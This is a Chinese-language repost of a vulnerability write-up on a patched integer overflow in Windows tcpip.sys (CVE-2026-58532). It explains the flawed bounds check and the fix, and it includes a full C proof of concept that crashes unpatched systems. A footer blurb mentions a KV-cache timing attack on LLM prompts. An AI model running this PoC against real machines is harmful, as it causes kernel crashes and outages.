我是如何在tcpip.sys中发现整数溢出漏洞的"

admin 2026-10-18 05:25:18 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

我是如何在 tcpip.sys 中发现整数溢出漏洞的

April Ivy
April Ivy

securitainment

2026年7月27日 10:50
英国

在小说阅读器读本章

去阅读

原文链接 作者
https://aprl.pet/writing/cve-2026-58532 April Ivy

或者说,为什么 count * size也需要做溢出检查

今年早些时候,我在 tcpip.sys——Windows 的网络驱动——中发现了一个整数溢出漏洞。该漏洞已在 2026 年 7 月的安全更新中修复,编号为 CVE-2026-58532。

我最初对研究 tcpip.sys产生兴趣,是因为读了另一位研究者关于该驱动中一个由类似缺陷导致的远程代码执行(RCE)漏洞的分析文章。这让我对网络协议栈中那些不太显眼的解析与反序列化路径产生了好奇,也正是由此,我开始关注 ALE 重定向记录。

从本质上说,这是一个相当简单的漏洞。一个 64 位计数值乘以记录大小后结果发生回绕,边界检查瞬间形同虚设。不幸的是,这发生在一个内核反序列化器中,而它随后会开始分配和拷贝实际上从未被传入的记录。

调用路径

入口点是 SIO_SET_WFP_CONNECTION_REDIRECT_RECORDS,一个传递给 WSAIoctl的 Winsock 套接字控制操作。

它经过 tcpip.sys中的 WFP ALE 处理代码,最终到达 AleRedirectRecordsDeserializeFromBuffer。输入以一个 64 位记录计数开头,后跟序列化的重定向记录。每条记录大小为 0x228字节。

以下是我捕获的崩溃中的调用链:

tcpip!AleRedirectRecordsDeserializeFromBuffer+0x18d
tcpip!WfpAleProcessSocketOption+0x273
tcpip!InetInspectSocketOption+0x60
tcpip!TcpSetSockOptEndpoint+0xc75
afd!AfdTLIoControl+0x986
WS2_32!WSAIoctl+0x182

漏洞本身

在开始反序列化记录之前,函数会检查缓冲区是否足够容纳它被告知的记录数量。相关的检查基本上是这样的:

count * 0x228 <= remainingLength

看起来没问题,对吧?但问题在于 count是用户可控的,而且这个乘法是无符号 64 位运算,没有做溢出检查。

我使用的计数值是 0x2000000000000000。

0x2000000000000000 * 0x228 = 0x45 * 2^64

因此,在一个 64 位寄存器中,结果就是零。0 <= remainingLength对于几乎任何缓冲区都成立,包括概念验证中那个仅 16 字节的小缓冲区。

检查通过了——尽管计数值声称有数量荒谬的 0x228字节记录等待读取。

接下来发生了什么

有趣的部分在于,那个错误的乘法运算只是故事的开始。检查通过之后,函数便认为记录确实存在,并开始处理它们。

以下是该例程的关键部分,为了可读性做了一些清理:

uint64_t recordCount = *(uint64_t *)input;

if (recordCount * 0x228 > remainingLength)
return STATUS_INVALID_PARAMETER;

while (recordCount != 0) {
    record = allocate_pool(0x228, 'AlcR');
copy_memory(record, input, 0x228);

    input += 0x228;
    remainingLength -= 0x228;
    recordCount--;

    variableLength = *(uint32_t *)((uint8_t *)record + 0x1e8);
/* More allocation and copy work happens from here. */
}

第一次 0x228字节的拷贝就越过了输入的末尾。随后 remainingLength发生下溢,这意味着后续的边界检查此时面对的是一个接近 ULONGLONG_MAX的值,而非实际剩余的字节数。

在拷贝出的记录中,偏移 0x1e8附近还有一个变长字段。后续代码会使用反序列化后的记录来驱动更多的分配和拷贝操作,因此这远不止是一个无害的算术错误。

概念验证

以下是我提交的概念验证代码:

cl /W4 poc_ale_redirect_overflow.c ws2_32.lib
#include<winsock2.h>
#include<ws2tcpip.h>
#include<stdio.h>
#include<stdint.h>

#pragma comment(lib, \"ws2_32.lib\")

#defineSIO_SET_WFP_CONNECTION_REDIRECT_RECORDS0x980000DEu

intmain(void)
{
    WSADATA wsa;
    SOCKET sock;
    DWORD ret = 0;

WSAStartup(MAKEWORD(2, 2), &wsa);

    sock = WSASocketW(AF_INET6, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
if (sock == INVALID_SOCKET)
        sock = WSASocketW(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);

if (sock == INVALID_SOCKET) {
printf(\"socket failed: %d\
\", WSAGetLastError());
return1;
    }

uint8_t buf[16] = {0};
    *(uint64_t *)buf = 0x2000000000000000ULL;

WSAIoctl(sock, SIO_SET_WFP_CONNECTION_REDIRECT_RECORDS,
             buf, sizeof(buf), NULL, 0, &ret, NULL, NULL);

printf(\"returned %d\
\", WSAGetLastError());
closesocket(sock);
WSACleanup();
return0;
}

就是这样。创建一个套接字,给控制操作传一个 16 字节的缓冲区,把前八个字节设为会导致溢出的计数值。

在存在漏洞的版本上,系统会触发 bug check(蓝屏)。在我的崩溃中,故障是在清理阶段通过 tcpip!WfpAleDecrementWaitRef显现出来的,此时 AleRedirectRecordsDeserializeFromBuffer已经处理完了那段畸形输入。

序列化器倒是做对了

让这个漏洞分析起来格外愉快的一点是,有对应的序列化代码可供参照。序列化器在计算输出大小时使用了带检查的运算,包括在将各部分大小相加时有显式的溢出处理。

而反序列化器在将 count * 0x228的结果用作边界检查之前,却没有做同样的事情。这个格式的一个方向小心翼翼,另一个方向却漫不经心。

修复这类漏洞很简单。要么使用带溢出检查的乘法,要么干脆避免乘法:

if (count > remainingLength / 0x228)
return STATUS_INVALID_PARAMETER;

漏洞披露

我于 2026 年 4 月 20 日向 MSRC 报告了此漏洞。微软随后确认了该行为,将其归类为权限提升漏洞,并在 2026 年 7 月的安全更新中予以修复。

该漏洞编号为 CVE-2026-58532,微软以 aprilpet的名义对我进行了致谢。此外还有一个 NVD 条目。

TL;DR

  • tcpip.sys

信任了一个用户可控的 64 位记录计数值。
* 它将该计数值乘以 0x228,却没有检查是否溢出。
* 乘积回绕为零,于是一个小小的缓冲区通过了大小检查。
* 反序列化器随后拷贝了根本不存在的记录,并使其剩余长度计数器发生下溢。

带检查的运算是枯燥的,但在内核解析器中不做检查,后果只会更加枯燥。


免责声明:本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。


我是如何在tcpip.sys中发现整数溢出漏洞的" 网络安全文章

我是如何在tcpip.sys中发现整数溢出漏洞的"

本文详细分析了Windowstcpip.sys驱动中CVE-2026-58532整数溢出漏洞的发现过程。漏洞源于反序列化函数AleRedirectRecordsDeserializeFromBuffer在边界检查时,将用户可控的64位记录计数值与记录大小0x228相乘,但未进行溢出检查。通过构造特定计数值使乘积回绕为零,可绕过检查导致内核崩溃。文章提供了概念验证代码,并建议使用带溢出检查的乘法或除法比较来修复。
GitLab六周前已经修了,公开PoC后为什么还要重新排查" 网络安全文章

GitLab六周前已经修了,公开PoC后为什么还要重新排查"

GitLab在6月10日通过升级Oj依赖修复了两个内存安全问题,但未列入安全修复表,导致部分团队忽略。公开PoC于7月24日发布,攻击需认证用户且有项目提交权限。建议立即确认版本、升级到最新补丁、缩小入口、检查异常活动并准备凭据轮换。同时应改进发布流程,将核心依赖升级纳入安全评估。
Fastjson1.x没有补丁可等:企业该升级、隔离还是替换" 网络安全文章

Fastjson1.x没有补丁可等:企业该升级、隔离还是替换"

Fastjson1.2.68至1.2.83版本在特定SpringBootfat-JAR部署条件下存在远程代码执行风险,厂商已发布安全公告。企业需根据实际部署形态、版本和入口可达性评估风险,采取迁移至Fastjson2、开启SafeMode或隔离入口等处置路径。核心是建立可审计的运行证据和决策清单,而非仅追求升级状态表。
大模型探索系列:LLM缓存优化与KVCache时间侧信道攻击" 网络安全文章

大模型探索系列:LLM缓存优化与KVCache时间侧信道攻击"

本文探讨大模型API的PromptCaching缓存机制,包括其工作原理、缓存命中与未命中的区别,以及从请求侧提升命中率的策略,如按稳定性梯度组织提示词、规范化序列化等。文章还介绍了KVCache时间侧信道攻击,攻击者可通过观察缓存命中与否推断用户输入前缀,属于安全风险。可操作建议包括优化提示词结构、实施粘性路由,并注意缓存隔离。
评论:0   参与:  0